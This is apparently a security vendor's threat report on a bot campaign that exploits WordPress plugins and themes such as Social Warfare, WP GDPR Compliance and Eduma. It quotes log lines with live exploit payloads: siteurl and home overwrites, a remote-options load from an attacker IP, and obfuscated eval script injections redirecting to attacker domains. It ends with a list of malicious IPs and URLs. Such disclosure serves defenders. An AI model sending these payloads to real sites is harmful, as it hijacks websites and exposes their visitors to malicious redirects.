We recently noticed an increase on suspicious requests in our logs which reveal a planned attack against the Social Warfare plugin. Bad actors added this brand new exploit to an existing campaign, which includes other vulnerable plugins and themes, to inject malicious scripts.
Plugins and themes under attack
- Newspaper and other old tagDiv Themes
- Education WP (Eduma)
- WordPress GDPR Compliance
- Social Warfare
- Easy WP SMTP
- Smart Google Code Inserter
- WP Total Donations
Some of the Payloads Used by Bots
WordPress GDPR Compliance
145.239.54.77 - action=wpgdprc_process_action&data=%7B%22type%22%3A%22save_setting%22%2C%22append%22%3Afalse%2C%22option%22%3A%22siteurl%22%2C%22value%22+%3A%22https%3A%2F%2Fverybeatifulpear .com%2Fjava.js%3Ft%3D2%26%22%7D&security= [Date] "POST /wp-admin/admin-ajax.php HTTP/1.1"
Newspaper WP Theme
31.208.43.209 - action=td_ajax_update_panel&wp_option%5Bhome%5D=https%3A%2F%2Fredrentalservice .com [Date] "POST /wp-admin/admin-ajax.php HTTP/1.1"
Social Warfare Plugin
91.134.215.233 - - [Date] "GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=hxxp://109.234 .34 .22/mv.txt HTTP/1.1"
Smart Google Code Inserter
1.208.43.209 - action=savegooglecode&sgcgoogleanalytic=%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+97%2C+32%2C+61%2C+32%2C+34%2C+104%2C+116%2C+116%2C+112%2C+115%2C+58%2C+47%2C+47%2C+114%2C+101%2C+100%2C+...skipped...+111%2C+119%2C+46%2C+108%2C+111%2C+99%2C+97%2C+116%2C+105%2C+111%2C+110%2C+46%2C+104%2C+114%2C+101%2C+102%2C+61%2C+97%2C+59%29%29%3B%3C%2Fscript%3E&sgcwebtools= [Date] "POST /wp-admin/admin-ajax.php HTTP/1.1"code redirects to hxxps://redrentalservice[.]com/?t4
Education WP Theme
34.194.221.173 - action=thim_update_theme_mods&thim_key=thim_google_analytics&thim_value=X%3C%2Fscript%3E%3Cscript+language%3Djavascript%3Eeval%28String.fromCharCode%28118%2C+97%2C+114%2C+32%2C+97%2C+32%2C+61%2C+32%2C+34%2C+104%2C+116%2C+116%2C+112%2C+115%2C+58%2C+47%2C+47%2C+114%2C+101%2C+100%2C+114%2C+101%2C+110%2C+116%2C+97%2C+108%2C+115%2C+101%2C+114%2C+118%2C+105%2C+99%2C+101%2C+46%2C+99%2C+111%2C+109%2C+47%2C+63%2C+116%2C+52%2C...skipped...97%2C+59%2C+32%2C+119%2C+105%2C+110%2C+100%2C+111%2C+119%2C+46%2C+108%2C+111%2C+99%2C+97%2C+116%2C+105%2C+111%2C+110%2C+46%2C+104%2C+114%2C+101%2C+102%2C+61%2C+97%2C+59%29%29%3B%3C%2Fscript%3E%3Cscript%3E "POST /wp-admin/admin-ajax.php
Malicious Domains and IPs:
IPs:
31.208.43.20991.134.215.23334.194.221.173128.199.114.0162.243.1.231145.239.54.77185.136.85.47222.73.242.180109.234.34.22
URLs:
hxxps://redrentalservice[.]com/tpn1.jshxxp://raiserate[.]com/mv.txthxxp://109.234 .34 .22/mv.txthxxps://verybeatifulpear[.]comhxxps://blueeyeswebsite[.]comhxxp://r-y-p[.]org/options.txthxxps://teutorrent.com/wp-includes/js/javascript-mini.js
